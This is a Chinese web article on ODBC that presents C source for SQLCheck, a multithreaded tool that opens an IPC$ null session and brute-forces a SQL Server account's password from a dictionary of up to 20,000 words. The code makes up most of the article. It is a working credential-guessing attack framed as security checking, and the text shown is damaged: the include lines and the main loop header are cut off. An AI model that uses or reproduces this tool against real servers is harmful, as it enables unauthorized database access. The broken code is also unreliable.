


遠(yuǎn)程檢測MS SQL Server賬號安全性
ODBC是開放數(shù)據(jù)互連(Open Database Connectivity)的簡稱,它是一個用于遠(yuǎn)程訪問數(shù)據(jù)庫(主要是關(guān)系型數(shù)據(jù)庫)的統(tǒng)一界面標(biāo)準(zhǔn)。 ODBC下現(xiàn)實(shí)運(yùn)用中是一個數(shù)據(jù)庫的訪問庫,它提供了一組ODBC API函數(shù)可以提供給編程者使用。對于程序員來說,ODBC API函數(shù)集實(shí)際上等于一個動態(tài)連接庫(DLL)集,可以在應(yīng)用程序中直接使用它們。
一個應(yīng)用程序直接調(diào)用ODBC API函數(shù)來進(jìn)行數(shù)據(jù)庫的應(yīng)用工作,工作過程一般比較復(fù)雜。其中一種辦法大概是以下幾步:
<1>啟動ODBC數(shù)據(jù)庫應(yīng)用程序。
<2>與服務(wù)器建立IPC SESSION。
<3>創(chuàng)建數(shù)據(jù)庫應(yīng)用的環(huán)境句柄。
<4>創(chuàng)建連接句柄。
<5>連接數(shù)據(jù)源。
<6>創(chuàng)建語句句柄。
<7>通過上一步創(chuàng)建的語句句柄來執(zhí)行SQL操作。
<8>釋放語句句柄。
<9>要進(jìn)行多此SQL操作的話,就循環(huán)步驟6-8。
<10>斷開與數(shù)據(jù)庫的連接。
<11>釋放連接句柄。
<12>釋放環(huán)境句柄。
<13>斷開IPC SESSION。
<14>程序結(jié)束。
下面以一個實(shí)例來說明遠(yuǎn)程檢測MS SQL Server賬號密碼的全過程。
/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://定義全局變量
char dict[20000][40],//密碼字典
UserName[40],//用戶名
target[40],//目標(biāo)服務(wù)器
passwd[40];//已經(jīng)探測出來的正確密碼
int total=0;//字典里面單詞數(shù)量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
HANDLE hSemaphore,//信標(biāo)內(nèi)核對象
hEvent;//事件內(nèi)核對象
long MaxThreads,//最大線程數(shù)量
ActiveThreads;//活動線程數(shù)量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
file://打開字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}
while(!feof(fp))
{
file://讀取數(shù)據(jù)到臨時變量
if(fgets(tmp,40,fp)==NULL)
break;
file://把從文件里面讀出來的最后一位數(shù)據(jù)[換行符號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\\ipc$");
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運(yùn)行返回值
SCHAR ConnStr[200];//連接數(shù)據(jù)庫字符串
long PreviousCount;
file://取得傳遞過來準(zhǔn)備探測的密碼
pwd=(char *)pPwd;
file://構(gòu)造連接數(shù)據(jù)庫字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://創(chuàng)建數(shù)據(jù)庫應(yīng)用的環(huán)境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://設(shè)置ODBC版本環(huán)境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://創(chuàng)建連接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://連接數(shù)據(jù)源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://連接失敗,函數(shù)終止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://連接遠(yuǎn)程MSSQL Server數(shù)據(jù)庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環(huán)境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標(biāo)當(dāng)前資源數(shù)量進(jìn)行遞增1,并取得當(dāng)前資源數(shù)量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當(dāng)前活動線程數(shù)量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活動線程數(shù)量為0,那么將事件內(nèi)核對象hEvent改為已通知狀態(tài),程序結(jié)束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}
////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序運(yùn)行的起始和結(jié)束時間
double duration;
if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標(biāo)地址,用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并檢查用戶輸入的最大線程數(shù)量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到內(nèi)存中
if(ReadDic(argv[3])!=0)
return 1;
file://與目標(biāo)機(jī)器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://創(chuàng)建信標(biāo)內(nèi)核對象,最大資源數(shù)量和可以使用的資源數(shù)量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://創(chuàng)建事件內(nèi)核對象[人工重置,初始狀態(tài)為未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i
file://探測密碼成功后跳出此循環(huán)
if(Cracked==TRUE)
break;
file://顯示進(jìn)度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://創(chuàng)建線程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://處理創(chuàng)建線程錯誤的情況
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信標(biāo)內(nèi)核對象通知,可用資源數(shù)量大于0則繼續(xù)創(chuàng)建線程,等于0則線程進(jìn)入等待狀態(tài)
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件內(nèi)核對象通知,最多等待3分鐘
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://斷開與目標(biāo)機(jī)器的IPC Session
DelIPC(target);
file://探測密碼成功后回顯信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://記時結(jié)束
end=clock();
file://轉(zhuǎn)換時間格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://顯示所用時間
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
程序在windows2000,vc++6.0環(huán)境下編譯通過。
關(guān)鍵字:SQL Server、服務(wù)器、數(shù)據(jù)庫
新文章:
- CentOS7下圖形配置網(wǎng)絡(luò)的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統(tǒng)后丟失windows啟動項
- CentOS單網(wǎng)卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗(yàn)證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網(wǎng)打印機(jī)IP講解
- CentOS7使用hostapd實(shí)現(xiàn)無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯
- 解決Centos7雙系統(tǒng)后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統(tǒng)有什么不同呢
- Centos 6.6默認(rèn)iptable規(guī)則詳解